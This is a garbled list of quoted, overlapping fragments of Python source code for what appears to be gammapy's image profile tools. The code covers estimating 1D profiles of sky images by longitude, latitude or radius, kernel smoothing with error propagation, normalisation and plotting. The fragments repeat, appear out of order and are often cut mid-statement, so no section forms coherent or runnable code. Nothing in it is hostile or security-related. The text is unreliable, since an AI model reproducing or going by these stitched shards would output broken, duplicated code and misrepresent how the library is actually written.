corresponding error", "def _estimate_profile(self, image, image_err, mask): p = self.parameters labels =", "mode=\"peak\"): \"\"\"Normalize profile to peak value or integral. Parameters ----------", "elif mode == \"integral\": norm = np.nansum(profile) else: raise ValueError(f\"Invalid", "value or integral. Parameters ---------- mode : ['integral', 'peak'] Normalize", "------- profile : `ImageProfile` Normalized image profile. \"\"\" table =", "ax=None, **kwargs): \"\"\"Plot image profile error as band. Parameters ----------", "norm = np.nanmax(profile) elif mode == \"integral\": norm = np.nansum(profile)", "(optional). method : ['sum', 'mean'] Compute sum or mean within", "table[\"profile_err\"] # use gaussian error propagation box = Box1DKernel(width) err_sum", "choose either 'sum' or 'mean'\") if axis not in [\"lon\",", "def plot(self, ax=None, **kwargs): \"\"\"Plot image profile. Parameters ---------- ax", "profile along arbitrary directions # TODO: think better about error", "astropy import units as u # load example data filename", "run profile estimator on. image_err : `~gammapy.maps.Map` Input error image", "'box' or 'gauss'\") table[\"profile\"] = smoothed * self.table[\"profile\"].unit if \"profile_err\"", "= coordinates.data.lon.wrap_at(\"180d\") data = np.digitize(lon.degree, x_edges.deg) elif p[\"axis\"] == \"lat\":", "is not None: # assign masked values to background data[mask.data]", "if method == \"radial\" and center is None: raise ValueError(\"Please", "assign masked values to background data[mask.data] = 0 return image.copy(data=data)", "Smoothing is described by a convolution: .. math:: x_j =", "np.sqrt(err_sum) elif p[\"method\"] == \"mean\": # gaussian error propagation profile", "labels.data, index) err_sum = scipy.ndimage.sum(image_err.data ** 2, labels.data, index) profile_err", "is described by a convolution: .. math:: x_j = \\sum_i", "scipy.ndimage.uniform_filter( profile.astype(\"float\"), width, **kwargs ) # renormalize data if table[\"profile\"].unit.is_equivalent(\"count\"):", "**kwargs : dict Keyword arguments passed to `~matplotlib.axes.Axes.plot` Returns -------", "@property def x_max(self): \"\"\"Max. x coordinates.\"\"\" return self.table[\"x_max\"].quantity @property def", "`~matplotlib.axes.Axes` Axes object \"\"\" import matplotlib.pyplot as plt fig =", "mode : ['integral', 'peak'] Normalize image profile so that it", "methods class ImageProfileEstimator(Estimator): \"\"\"Estimate profile from image. Parameters ---------- x_edges", "image profile. Parameters ---------- ax : `~matplotlib.axes.Axes` Axes object **kwargs", ": dict Keyword arguments passed to `~scipy.ndimage.uniform_filter` ('box') and `~scipy.ndimage.gaussian_filter`", "\"gauss\": smoothed = scipy.ndimage.gaussian_filter( profile.astype(\"float\"), width, **kwargs ) # use", "profile.smooth(kernel='gauss') smoothed.peek() plt.show() \"\"\" tag = \"ImageProfileEstimator\" def __init__(self, x_edges=None,", "it is converted to pixels using `xref[1] - x_ref[0]`. kwargs", "x coordinates.\"\"\" return self.table[\"x_ref\"].quantity @property def x_min(self): \"\"\"Min. x coordinates.\"\"\"", "individual :math:`x_{(j - i)}`: .. math:: \\Delta x_j = \\sqrt{\\sum_i", "Image profile data (required). * `profile_err` Image profile data error", "\"\"\" def __init__(self, table): self.table = table def smooth(self, kernel=\"box\",", "estimator and run p = ImageProfileEstimator(axis='lon', method='sum') profile = p.run(fermi_cts)", "= 2 * radius.value + 1 if kernel == \"box\":", "2) smoothed_err = np.sqrt(err_sum) else: raise ValueError(\"Not valid kernel choose", "up profile estimator and run p = ImageProfileEstimator(axis='lon', method='sum') profile", "profile_err = None index = np.arange(1, len(self._get_x_edges(image))) if p[\"method\"] ==", "profile so that it integrates to unity ('integral') or the", "defaults kwargs.setdefault(\"alpha\", 0.5) ax.fill_between(x, ymin, ymax, **kwargs) ax.set_xlabel(\"x (deg)\") ax.set_ylabel(\"profile\")", "y, **kwargs) ax.set_xlabel(\"lon\") ax.set_ylabel(\"profile\") ax.set_xlim(x.max(), x.min()) return ax def plot_err(self,", "image.unit result.meta[\"PROFILE_TYPE\"] = p[\"axis\"] return ImageProfile(result) class ImageProfile: \"\"\"Image profile", "not None: return self._x_edges p = self.parameters coordinates = image.geom.get_coord(mode=\"edges\").skycoord", "error propagation err_sum = scipy.ndimage.sum(image_err.data ** 2, labels.data, index) profile_err", "return self.table[\"x_max\"].quantity @property def profile(self): \"\"\"Image profile quantity.\"\"\" return self.table[\"profile\"].quantity", "ax.set_xlabel(\"lon\") ax.set_ylabel(\"profile\") ax.set_xlim(x.max(), x.min()) return ax def plot_err(self, ax=None, **kwargs):", "rad_max = coordinates[corners].separation(p[\"center\"]).max() x_edges = Angle(np.arange(0, rad_max.deg, rad_step.deg), unit=\"deg\") return", "which axis to estimate the profile. center : `~astropy.coordinates.SkyCoord` Center", "profile data (required). * `profile_err` Image profile data error (optional).", "def __init__(self, table): self.table = table def smooth(self, kernel=\"box\", radius=\"0.1", "as smoothing width in pixels. If an (angular) quantity is", "return self.table[\"x_min\"].quantity @property def x_max(self): \"\"\"Max. x coordinates.\"\"\" return self.table[\"x_max\"].quantity", "('peak'). Returns ------- profile : `ImageProfile` Normalized image profile. \"\"\"", "\\sqrt{\\sum_i \\Delta x^{2}_{(j - i)} h^{2}_i} Parameters ---------- kernel :", "error image to run profile estimator on. mask : `~gammapy.maps.Map`", "self.table = table def smooth(self, kernel=\"box\", radius=\"0.1 deg\", **kwargs): r\"\"\"Smooth", "If a float is given it is interpreted as smoothing", "Image profile data error (optional). Parameters ---------- table : `~astropy.table.Table`", "corners = [0, 0, -1, -1], [0, -1, 0, -1]", "mask : `~gammapy.maps.Map` Optional mask to exclude regions from the", "if table[\"profile\"].unit.is_equivalent(\"count\"): smoothed *= int(width) smoothed_err = np.sqrt(smoothed) elif \"profile_err\"", "if p[\"method\"] == \"sum\": profile = scipy.ndimage.sum(image.data, labels.data, index) if", "scipy.ndimage.sum(image_err.data ** 2, labels.data, index) profile_err = np.sqrt(err_sum) elif p[\"method\"]", "in `~astropy.table.Table` object, with the following columns: * `x_ref` Coordinate", "= self.parameters coordinates = image.geom.get_coord(mode=\"edges\").skycoord if p[\"axis\"] == \"lat\": x_edges", "image.unit.is_equivalent(\"count\"): image_err = image.copy(data=np.sqrt(image.data)) profile, profile_err = self._estimate_profile(image, image_err, mask)", "[\"lon\", \"lat\", \"radial\"]: raise ValueError(\"Not a valid axis, choose either", "use gaussian error propagation if \"profile_err\" in table.colnames: profile_err =", "'gauss'\") table[\"profile\"] = smoothed * self.table[\"profile\"].unit if \"profile_err\" in table.colnames:", "arguments passed to `~scipy.ndimage.uniform_filter` ('box') and `~scipy.ndimage.gaussian_filter` ('gauss'). Returns -------", "Estimator __all__ = [\"ImageProfile\", \"ImageProfileEstimator\"] # TODO: implement measuring profile", "coordinates.separation(p[\"center\"]) data = np.digitize(separation.degree, x_edges.deg) if mask is not None:", "to create profiles (i.e. 1D \"slices\" from 2D images).\"\"\" import", "object **kwargs : dict Keyword arguments passed to `~matplotlib.axes.Axes.plot` Returns", "= self.table[\"profile\"] if mode == \"peak\": norm = np.nanmax(profile) elif", ": `~gammapy.maps.Map` Optional mask to exclude regions from the measurement.", "Gaussian1DKernel from astropy.coordinates import Angle from astropy.table import Table from", "= {\"method\": method, \"axis\": axis, \"center\": center} def _get_x_edges(self, image):", "The image profile data is stored in `~astropy.table.Table` object, with", "shape radius : `~astropy.units.Quantity`, str or float Smoothing width given", "smoothing width in pixels. If an (angular) quantity is given", "= table[\"profile\"] radius = u.Quantity(radius) radius = np.abs(radius / np.diff(self.x_ref))[0]", "width = 2 * radius.value + 1 if kernel ==", "choose either 'box' or 'gauss'\") table[\"profile\"] = smoothed * self.table[\"profile\"].unit", "\"center\": center} def _get_x_edges(self, image): if self._x_edges is not None:", "x = self.x_ref.value ax.plot(x, y, **kwargs) ax.set_xlabel(\"lon\") ax.set_ylabel(\"profile\") ax.set_xlim(x.max(), x.min())", "plt.gca() y = self.table[\"profile\"].data ymin = y - self.table[\"profile_err\"].data ymax", "image.geom.pixel_scales.mean() corners = [0, 0, -1, -1], [0, -1, 0,", "valid axis, choose either 'lon' or 'lat'\") if method ==", "mask=None): \"\"\"Run image profile estimator. Parameters ---------- image : `~gammapy.maps.Map`", "then estimated using Gaussian error propagation, neglecting correlations between the", "@property def profile_err(self): \"\"\"Image profile error quantity.\"\"\" try: return self.table[\"profile_err\"].quantity", "astropy.coordinates import Angle from astropy.table import Table from .core import", "option. Examples -------- This example shows how to compute a", "separation = coordinates.separation(p[\"center\"]) data = np.digitize(separation.degree, x_edges.deg) if mask is", "p[\"axis\"] return ImageProfile(result) class ImageProfile: \"\"\"Image profile class. The image", "`profile_err` Image profile data error (optional). Parameters ---------- table :", "from the measurement. Returns ------- profile : `ImageProfile` Result image", "2, box.array ** 2) smoothed_err = np.sqrt(err_sum) elif kernel ==", "units as u from astropy.convolution import Box1DKernel, Gaussian1DKernel from astropy.coordinates", "p[\"axis\"] == \"radial\": separation = coordinates.separation(p[\"center\"]) data = np.digitize(separation.degree, x_edges.deg)", "Keyword arguments passed to `ImageProfile.plot_profile()` Returns ------- ax : `~matplotlib.axes.Axes`", "None def peek(self, figsize=(8, 4.5), **kwargs): \"\"\"Show image profile and", "self.table[\"profile_err\"].data x = self.x_ref.value # plotting defaults kwargs.setdefault(\"alpha\", 0.5) ax.fill_between(x,", "(deg)\") ax.set_ylabel(\"profile\") return ax @property def x_ref(self): \"\"\"Reference x coordinates.\"\"\"", "x_ref(self): \"\"\"Reference x coordinates.\"\"\" return self.table[\"x_ref\"].quantity @property def x_min(self): \"\"\"Min.", "profile = scipy.ndimage.mean(image.data, labels.data, index) if image_err: N = scipy.ndimage.sum(~np.isnan(image_err.data),", "image profile data is stored in `~astropy.table.Table` object, with the", "if image.unit.is_equivalent(\"count\"): image_err = image.copy(data=np.sqrt(image.data)) profile, profile_err = self._estimate_profile(image, image_err,", "*= int(width) smoothed_err = np.sqrt(smoothed) elif \"profile_err\" in table.colnames: profile_err", "galactic center region:: import matplotlib.pyplot as plt from gammapy.maps import", "within profile bins. axis : ['lon', 'lat', 'radial'] Along which", "if p[\"axis\"] == \"lat\": x_edges = coordinates[:, 0].data.lat elif p[\"axis\"]", "error quantity.\"\"\" try: return self.table[\"profile_err\"].quantity except KeyError: return None def", "profile bins. axis : ['lon', 'lat', 'radial'] Along which axis", "index) err_sum = scipy.ndimage.sum(image_err.data ** 2, labels.data, index) profile_err =", "x_j = \\sum_i x_{(j - i)} h_i Where :math:`h_i` are", "y + self.table[\"profile_err\"].data x = self.x_ref.value # plotting defaults kwargs.setdefault(\"alpha\",", "data = np.digitize(separation.degree, x_edges.deg) if mask is not None: #", "'mean'\") if axis not in [\"lon\", \"lat\", \"radial\"]: raise ValueError(\"Not", "self._x_edges p = self.parameters coordinates = image.geom.get_coord(mode=\"edges\").skycoord if p[\"axis\"] ==", "Table() x_edges = self._get_x_edges(image) result[\"x_min\"] = x_edges[:-1] result[\"x_max\"] = x_edges[1:]", "= table[\"profile_err\"] gauss = Gaussian1DKernel(width) err_sum = scipy.ndimage.convolve(profile_err ** 2,", "else: raise ValueError(\"Not valid kernel choose either 'box' or 'gauss'\")", "= scipy.ndimage.sum(~np.isnan(image_err.data), labels.data, index) err_sum = scipy.ndimage.sum(image_err.data ** 2, labels.data,", "p[\"axis\"] == \"lat\": lat = coordinates.data.lat data = np.digitize(lat.degree, x_edges.deg)", "self.table[\"profile_err\"].data ymax = y + self.table[\"profile_err\"].data x = self.x_ref.value #", "self.table[\"x_ref\"].quantity @property def x_min(self): \"\"\"Min. x coordinates.\"\"\" return self.table[\"x_min\"].quantity @property", ": `~astropy.table.Table` Table instance with the columns specified as above.", "to define a custom measument grid (optional). method : ['sum',", "to unity ('integral') or the maximum value corresponds to one", "def peek(self, figsize=(8, 4.5), **kwargs): \"\"\"Show image profile and error.", "raise ValueError(\"Please provide center coordinate for radial profiles\") self.parameters =", "_label_image(self, image, mask=None): p = self.parameters coordinates = image.geom.get_coord().skycoord x_edges", "propagation if \"profile_err\" in table.colnames: profile_err = table[\"profile_err\"] gauss =", "to pixels using `xref[1] - x_ref[0]`. kwargs : dict Keyword", "class. The image profile data is stored in `~astropy.table.Table` object,", "ax is None: ax = plt.gca() y = self.table[\"profile\"].data x", "plot_err(self, ax=None, **kwargs): \"\"\"Plot image profile error as band. Parameters", "bin minimum (optional). * `x_max` Coordinate bin maximum (optional). *", "int(width) smoothed_err = np.sqrt(smoothed) elif \"profile_err\" in table.colnames: profile_err =", "`~matplotlib.axes.Axes` Axes object **kwargs : dict Keyword arguments passed to", "is None: ax = plt.gca() y = self.table[\"profile\"].data ymin =", "= self._label_image(image, mask) profile_err = None index = np.arange(1, len(self._get_x_edges(image)))", "self._get_x_edges(image) if p[\"axis\"] == \"lon\": lon = coordinates.data.lon.wrap_at(\"180d\") data =", "x_edges[1:]) / 2 result[\"profile\"] = profile * image.unit if profile_err", "scipy.ndimage.sum(~np.isnan(image_err.data), labels.data, index) err_sum = scipy.ndimage.sum(image_err.data ** 2, labels.data, index)", "table.colnames: profile_err = table[\"profile_err\"] gauss = Gaussian1DKernel(width) err_sum = scipy.ndimage.convolve(profile_err", "---------- table : `~astropy.table.Table` Table instance with the columns specified", "arguments passed to `ImageProfile.plot_profile()` Returns ------- ax : `~matplotlib.axes.Axes` Axes", "return image.copy(data=data) def run(self, image, image_err=None, mask=None): \"\"\"Run image profile", "'lon' or 'lat'\") if method == \"radial\" and center is", "** 2, labels.data, index) profile_err = np.sqrt(err_sum) / N return", ": `ImageProfile` Result image profile object. \"\"\" p = self.parameters", "LICENSE.rst \"\"\"Tools to create profiles (i.e. 1D \"slices\" from 2D", "not None: result[\"profile_err\"] = profile_err * image.unit result.meta[\"PROFILE_TYPE\"] = p[\"axis\"]", "radius = np.abs(radius / np.diff(self.x_ref))[0] width = 2 * radius.value", "\"\"\" import matplotlib.pyplot as plt fig = plt.figure(figsize=figsize) ax =", ".core import Estimator __all__ = [\"ImageProfile\", \"ImageProfileEstimator\"] # TODO: implement", "Input image to run profile estimator on. image_err : `~gammapy.maps.Map`", "a float is given it is interpreted as smoothing width", "return self._x_edges p = self.parameters coordinates = image.geom.get_coord(mode=\"edges\").skycoord if p[\"axis\"]", "x_edges=None, method=\"sum\", axis=\"lon\", center=None): self._x_edges = x_edges if method not", "ymin = y - self.table[\"profile_err\"].data ymax = y + self.table[\"profile_err\"].data", "x_edges = lon.wrap_at(\"180d\") elif p[\"axis\"] == \"radial\": rad_step = image.geom.pixel_scales.mean()", "return self.table[\"x_ref\"].quantity @property def x_min(self): \"\"\"Min. x coordinates.\"\"\" return self.table[\"x_min\"].quantity", "# renormalize data if table[\"profile\"].unit.is_equivalent(\"count\"): smoothed *= int(width) smoothed_err =", "a valid method, choose either 'sum' or 'mean'\") if axis", "self._get_x_edges(image) result[\"x_min\"] = x_edges[:-1] result[\"x_max\"] = x_edges[1:] result[\"x_ref\"] = (x_edges[:-1]", "under a 3-clause BSD style license - see LICENSE.rst \"\"\"Tools", "import Map from astropy import units as u # load", "dict Keyword arguments passed to `~scipy.ndimage.uniform_filter` ('box') and `~scipy.ndimage.gaussian_filter` ('gauss').", "labels.data, index) if image.unit.is_equivalent(\"counts\"): profile_err = np.sqrt(profile) elif image_err: #", "profile data is stored in `~astropy.table.Table` object, with the following", "math:: x_j = \\sum_i x_{(j - i)} h_i Where :math:`h_i`", "# smooth profile and plot smoothed = profile.smooth(kernel='gauss') smoothed.peek() plt.show()", ": {'gauss', 'box'} Kernel shape radius : `~astropy.units.Quantity`, str or", "integrates to unity ('integral') or the maximum value corresponds to", "profile estimator on. mask : `~gammapy.maps.Map` Optional mask to exclude", "data if table[\"profile\"].unit.is_equivalent(\"count\"): smoothed *= int(width) smoothed_err = np.sqrt(smoothed) elif", "plot(self, ax=None, **kwargs): \"\"\"Plot image profile. Parameters ---------- ax :", "\"radial\"]: raise ValueError(\"Not a valid axis, choose either 'lon' or", "`x_max` Coordinate bin maximum (optional). * `profile` Image profile data", ".. math:: \\Delta x_j = \\sqrt{\\sum_i \\Delta x^{2}_{(j - i)}", "err_sum = scipy.ndimage.convolve(profile_err ** 2, box.array ** 2) smoothed_err =", "and error. Parameters ---------- **kwargs : dict Keyword arguments passed", "= self.parameters labels = self._label_image(image, mask) profile_err = None index", "np.sqrt(err_sum) else: raise ValueError(\"Not valid kernel choose either 'box' or", "data filename = '$GAMMAPY_DATA/fermi-3fhl-gc/fermi-3fhl-gc-counts.fits.gz' fermi_cts = Map.read(filename) # set up", "axis : ['lon', 'lat', 'radial'] Along which axis to estimate", "masked values to background data[mask.data] = 0 return image.copy(data=data) def", "profile estimator. Parameters ---------- image : `~gammapy.maps.Map` Input image to", "image : `~gammapy.maps.Map` Input image to run profile estimator on.", "image, image_err, mask): p = self.parameters labels = self._label_image(image, mask)", "Gaussian error propagation, neglecting correlations between the individual :math:`x_{(j -", "center} def _get_x_edges(self, image): if self._x_edges is not None: return", "how to compute a counts profile for the Fermi galactic", "directions # TODO: think better about error handling. e.g. MC", "np.diff(self.x_ref))[0] width = 2 * radius.value + 1 if kernel", "columns: * `x_ref` Coordinate bin center (required). * `x_min` Coordinate", "example shows how to compute a counts profile for the", "return x_edges def _estimate_profile(self, image, image_err, mask): p = self.parameters", "N = scipy.ndimage.sum(~np.isnan(image_err.data), labels.data, index) err_sum = scipy.ndimage.sum(image_err.data ** 2,", "self.parameters coordinates = image.geom.get_coord(mode=\"edges\").skycoord if p[\"axis\"] == \"lat\": x_edges =", "ValueError(\"Not a valid axis, choose either 'lon' or 'lat'\") if", "* image.unit result.meta[\"PROFILE_TYPE\"] = p[\"axis\"] return ImageProfile(result) class ImageProfile: \"\"\"Image", "**kwargs): r\"\"\"Smooth profile with error propagation. Smoothing is described by", "import matplotlib.pyplot as plt from gammapy.maps import ImageProfileEstimator from gammapy.maps", "correlations between the individual :math:`x_{(j - i)}`: .. math:: \\Delta", "it is interpreted as smoothing width in pixels. If an", "profile * image.unit if profile_err is not None: result[\"profile_err\"] =", "profile with error propagation. Smoothing is described by a convolution:", "or float. If a float is given it is interpreted", "passed to `~scipy.ndimage.uniform_filter` ('box') and `~scipy.ndimage.gaussian_filter` ('gauss'). Returns ------- profile", "profile, profile_err def _label_image(self, image, mask=None): p = self.parameters coordinates", "if \"profile_err\" in table.colnames: profile_err = table[\"profile_err\"] gauss = Gaussian1DKernel(width)", "x.min()) return ax def plot_err(self, ax=None, **kwargs): \"\"\"Plot image profile", "Parameters ---------- mode : ['integral', 'peak'] Normalize image profile so", "passed to `~matplotlib.axes.Axes.plot` Returns ------- ax : `~matplotlib.axes.Axes` Axes object", "= 0 return image.copy(data=data) def run(self, image, image_err=None, mask=None): \"\"\"Run", "estimated using Gaussian error propagation, neglecting correlations between the individual", "== \"sum\": profile = scipy.ndimage.sum(image.data, labels.data, index) if image.unit.is_equivalent(\"counts\"): profile_err", "Input error image to run profile estimator on. mask :", "profile error as band. Parameters ---------- ax : `~matplotlib.axes.Axes` Axes", "h^{2}_i} Parameters ---------- kernel : {'gauss', 'box'} Kernel shape radius", "index) profile_err = np.sqrt(err_sum) elif p[\"method\"] == \"mean\": # gaussian", "set up profile estimator and run p = ImageProfileEstimator(axis='lon', method='sum')", "self.table.copy() profile = self.table[\"profile\"] if mode == \"peak\": norm =", "Keyword arguments passed to plt.fill_between() Returns ------- ax : `~matplotlib.axes.Axes`", "the radial profile option. Examples -------- This example shows how", "width given as quantity or float. If a float is", "= np.abs(radius / np.diff(self.x_ref))[0] width = 2 * radius.value +", "def x_ref(self): \"\"\"Reference x coordinates.\"\"\" return self.table[\"x_ref\"].quantity @property def x_min(self):", "matplotlib.pyplot as plt from gammapy.maps import ImageProfileEstimator from gammapy.maps import", "passed to plt.fill_between() Returns ------- ax : `~matplotlib.axes.Axes` Axes object", "propagation box = Box1DKernel(width) err_sum = scipy.ndimage.convolve(profile_err ** 2, box.array", "ax is None: ax = plt.gca() y = self.table[\"profile\"].data ymin", "str or float Smoothing width given as quantity or float.", "if mask is not None: # assign masked values to", "above. \"\"\" def __init__(self, table): self.table = table def smooth(self,", "in table.colnames: profile_err = table[\"profile_err\"] gauss = Gaussian1DKernel(width) err_sum =", "Parameters ---------- table : `~astropy.table.Table` Table instance with the columns", "= y - self.table[\"profile_err\"].data ymax = y + self.table[\"profile_err\"].data x", "normalization mode: {mode!r}\") table[\"profile\"] /= norm if \"profile_err\" in table.colnames:", "err_sum = scipy.ndimage.convolve(profile_err ** 2, gauss.array ** 2) smoothed_err =", "---------- x_edges : `~astropy.coordinates.Angle` Coordinate edges to define a custom", "u from astropy.convolution import Box1DKernel, Gaussian1DKernel from astropy.coordinates import Angle", "p[\"method\"] == \"sum\": profile = scipy.ndimage.sum(image.data, labels.data, index) if image.unit.is_equivalent(\"counts\"):", "ax def plot_err(self, ax=None, **kwargs): \"\"\"Plot image profile error as", "norm = np.nansum(profile) else: raise ValueError(f\"Invalid normalization mode: {mode!r}\") table[\"profile\"]", "self.table[\"x_min\"].quantity @property def x_max(self): \"\"\"Max. x coordinates.\"\"\" return self.table[\"x_max\"].quantity @property", "Along which axis to estimate the profile. center : `~astropy.coordinates.SkyCoord`", "gaussian error propagation profile = scipy.ndimage.mean(image.data, labels.data, index) if image_err:", "x_max(self): \"\"\"Max. x coordinates.\"\"\" return self.table[\"x_max\"].quantity @property def profile(self): \"\"\"Image", "scipy.ndimage.convolve(profile_err ** 2, gauss.array ** 2) smoothed_err = np.sqrt(err_sum) else:", "**kwargs : dict Keyword arguments passed to `ImageProfile.plot_profile()` Returns -------", "\"peak\": norm = np.nanmax(profile) elif mode == \"integral\": norm =", "== \"mean\": # gaussian error propagation profile = scipy.ndimage.mean(image.data, labels.data,", "center (required). * `x_min` Coordinate bin minimum (optional). * `x_max`", "= smoothed_err * self.table[\"profile\"].unit return self.__class__(table) def plot(self, ax=None, **kwargs):", "coordinate for radial profiles\") self.parameters = {\"method\": method, \"axis\": axis,", "either 'box' or 'gauss'\") table[\"profile\"] = smoothed * self.table[\"profile\"].unit if", "\\sum_i x_{(j - i)} h_i Where :math:`h_i` are the coefficients", "'mean'] Compute sum or mean within profile bins. axis :", "and plot smoothed = profile.smooth(kernel='gauss') smoothed.peek() plt.show() \"\"\" tag =", "exclude regions from the measurement. Returns ------- profile : `ImageProfile`", "instance with the columns specified as above. \"\"\" def __init__(self,", "quantity is given it is converted to pixels using `xref[1]", "bins. axis : ['lon', 'lat', 'radial'] Along which axis to", "** 2, gauss.array ** 2) smoothed_err = np.sqrt(err_sum) else: raise", "gauss.array ** 2) smoothed_err = np.sqrt(err_sum) else: raise ValueError(\"Not valid", "radius = u.Quantity(radius) radius = np.abs(radius / np.diff(self.x_ref))[0] width =", "ValueError(\"Not valid kernel choose either 'box' or 'gauss'\") table[\"profile\"] =", "ax.set_xlabel(\"x (deg)\") ax.set_ylabel(\"profile\") return ax @property def x_ref(self): \"\"\"Reference x", "_get_x_edges(self, image): if self._x_edges is not None: return self._x_edges p", "profile and plot smoothed = profile.smooth(kernel='gauss') smoothed.peek() plt.show() \"\"\" tag", "- self.table[\"profile_err\"].data ymax = y + self.table[\"profile_err\"].data x = self.x_ref.value", "`xref[1] - x_ref[0]`. kwargs : dict Keyword arguments passed to", "mask to exclude regions from the measurement. Returns ------- profile", "method='sum') profile = p.run(fermi_cts) # smooth profile and plot smoothed", "labels.data, index) profile_err = np.sqrt(err_sum) elif p[\"method\"] == \"mean\": #", "to exclude regions from the measurement. Returns ------- profile :", "plt if ax is None: ax = plt.gca() y =", "\"profile_err\" in table.colnames: table[\"profile_err\"] = smoothed_err * self.table[\"profile\"].unit return self.__class__(table)", "mode: {mode!r}\") table[\"profile\"] /= norm if \"profile_err\" in table.colnames: table[\"profile_err\"]", "* `x_min` Coordinate bin minimum (optional). * `x_max` Coordinate bin", ": `ImageProfile` Smoothed image profile. \"\"\" table = self.table.copy() profile", "np.sqrt(smoothed) elif \"profile_err\" in table.colnames: profile_err = table[\"profile_err\"] # use", "= Table() x_edges = self._get_x_edges(image) result[\"x_min\"] = x_edges[:-1] result[\"x_max\"] =", "image.geom.get_coord().skycoord x_edges = self._get_x_edges(image) if p[\"axis\"] == \"lon\": lon =", "data is stored in `~astropy.table.Table` object, with the following columns:", "units as u # load example data filename = '$GAMMAPY_DATA/fermi-3fhl-gc/fermi-3fhl-gc-counts.fits.gz'", "profiles\") self.parameters = {\"method\": method, \"axis\": axis, \"center\": center} def", "Parameters ---------- **kwargs : dict Keyword arguments passed to `ImageProfile.plot_profile()`", "rad_step.deg), unit=\"deg\") return x_edges def _estimate_profile(self, image, image_err, mask): p", "\"\"\"Normalize profile to peak value or integral. Parameters ---------- mode", "Coordinate bin maximum (optional). * `profile` Image profile data (required).", "= scipy.ndimage.sum(image_err.data ** 2, labels.data, index) profile_err = np.sqrt(err_sum) /", "image_err: N = scipy.ndimage.sum(~np.isnan(image_err.data), labels.data, index) err_sum = scipy.ndimage.sum(image_err.data **", "lat = coordinates.data.lat data = np.digitize(lat.degree, x_edges.deg) elif p[\"axis\"] ==", "elif image_err: # gaussian error propagation err_sum = scipy.ndimage.sum(image_err.data **", "1 if kernel == \"box\": smoothed = scipy.ndimage.uniform_filter( profile.astype(\"float\"), width,", "normalize(self, mode=\"peak\"): \"\"\"Normalize profile to peak value or integral. Parameters", "error propagation profile = scipy.ndimage.mean(image.data, labels.data, index) if image_err: N", "TODO: implement measuring profile along arbitrary directions # TODO: think", "('gauss'). Returns ------- profile : `ImageProfile` Smoothed image profile. \"\"\"", "- i)}`: .. math:: \\Delta x_j = \\sqrt{\\sum_i \\Delta x^{2}_{(j", "table def smooth(self, kernel=\"box\", radius=\"0.1 deg\", **kwargs): r\"\"\"Smooth profile with", "from .core import Estimator __all__ = [\"ImageProfile\", \"ImageProfileEstimator\"] # TODO:", "neglecting correlations between the individual :math:`x_{(j - i)}`: .. math::", "return None def peek(self, figsize=(8, 4.5), **kwargs): \"\"\"Show image profile", "fig = plt.figure(figsize=figsize) ax = fig.add_axes([0.1, 0.1, 0.8, 0.8]) ax", "= scipy.ndimage.uniform_filter( profile.astype(\"float\"), width, **kwargs ) # renormalize data if", "smoothed = scipy.ndimage.gaussian_filter( profile.astype(\"float\"), width, **kwargs ) # use gaussian", "x_edges.deg) if mask is not None: # assign masked values", "scipy.ndimage.gaussian_filter( profile.astype(\"float\"), width, **kwargs ) # use gaussian error propagation", "`~scipy.ndimage.uniform_filter` ('box') and `~scipy.ndimage.gaussian_filter` ('gauss'). Returns ------- profile : `ImageProfile`", "'peak'] Normalize image profile so that it integrates to unity", "profile_err(self): \"\"\"Image profile error quantity.\"\"\" try: return self.table[\"profile_err\"].quantity except KeyError:", "** 2, labels.data, index) profile_err = np.sqrt(err_sum) elif p[\"method\"] ==", "given it is interpreted as smoothing width in pixels. If", "`~astropy.table.Table` Table instance with the columns specified as above. \"\"\"", "columns specified as above. \"\"\" def __init__(self, table): self.table =", "plt.gca() y = self.table[\"profile\"].data x = self.x_ref.value ax.plot(x, y, **kwargs)", "for radial profiles\") self.parameters = {\"method\": method, \"axis\": axis, \"center\":", "region:: import matplotlib.pyplot as plt from gammapy.maps import ImageProfileEstimator from", "= np.sqrt(err_sum) elif kernel == \"gauss\": smoothed = scipy.ndimage.gaussian_filter( profile.astype(\"float\"),", "float is given it is interpreted as smoothing width in", "that it integrates to unity ('integral') or the maximum value", "error propagation. Smoothing is described by a convolution: .. math::", "= coordinates.data.lat data = np.digitize(lat.degree, x_edges.deg) elif p[\"axis\"] == \"radial\":", "* image.unit if profile_err is not None: result[\"profile_err\"] = profile_err", "pixels. If an (angular) quantity is given it is converted", "method, choose either 'sum' or 'mean'\") if axis not in", "integral. Parameters ---------- mode : ['integral', 'peak'] Normalize image profile", "maximum value corresponds to one ('peak'). Returns ------- profile :", "x_edges = self._get_x_edges(image) result[\"x_min\"] = x_edges[:-1] result[\"x_max\"] = x_edges[1:] result[\"x_ref\"]", "/ np.diff(self.x_ref))[0] width = 2 * radius.value + 1 if", "mask): p = self.parameters labels = self._label_image(image, mask) profile_err =", "---------- **kwargs : dict Keyword arguments passed to `ImageProfile.plot_profile()` Returns", "== \"integral\": norm = np.nansum(profile) else: raise ValueError(f\"Invalid normalization mode:", "np.arange(1, len(self._get_x_edges(image))) if p[\"method\"] == \"sum\": profile = scipy.ndimage.sum(image.data, labels.data,", "result[\"x_ref\"] = (x_edges[:-1] + x_edges[1:]) / 2 result[\"profile\"] = profile", "table : `~astropy.table.Table` Table instance with the columns specified as", "index) profile_err = np.sqrt(err_sum) / N return profile, profile_err def", "image_err=None, mask=None): \"\"\"Run image profile estimator. Parameters ---------- image :", "image.unit if profile_err is not None: result[\"profile_err\"] = profile_err *", "`x_min` Coordinate bin minimum (optional). * `x_max` Coordinate bin maximum", "data error (optional). Parameters ---------- table : `~astropy.table.Table` Table instance", "error (optional). Parameters ---------- table : `~astropy.table.Table` Table instance with", "error on :math:`x_j` is then estimated using Gaussian error propagation,", "ax.set_xlim(x.max(), x.min()) return ax def plot_err(self, ax=None, **kwargs): \"\"\"Plot image", "== \"gauss\": smoothed = scipy.ndimage.gaussian_filter( profile.astype(\"float\"), width, **kwargs ) #", "profile estimator and run p = ImageProfileEstimator(axis='lon', method='sum') profile =", ") # use gaussian error propagation if \"profile_err\" in table.colnames:", "------- ax : `~matplotlib.axes.Axes` Axes object \"\"\" import matplotlib.pyplot as", "If an (angular) quantity is given it is converted to", "if image_err: N = scipy.ndimage.sum(~np.isnan(image_err.data), labels.data, index) err_sum = scipy.ndimage.sum(image_err.data", "if \"profile_err\" in self.table.colnames: ax = self.plot_err(ax, color=kwargs.get(\"c\")) return ax", "mask is not None: # assign masked values to background", "labels = self._label_image(image, mask) profile_err = None index = np.arange(1,", "image profile estimator. Parameters ---------- image : `~gammapy.maps.Map` Input image", "profile(self): \"\"\"Image profile quantity.\"\"\" return self.table[\"profile\"].quantity @property def profile_err(self): \"\"\"Image", "* `profile` Image profile data (required). * `profile_err` 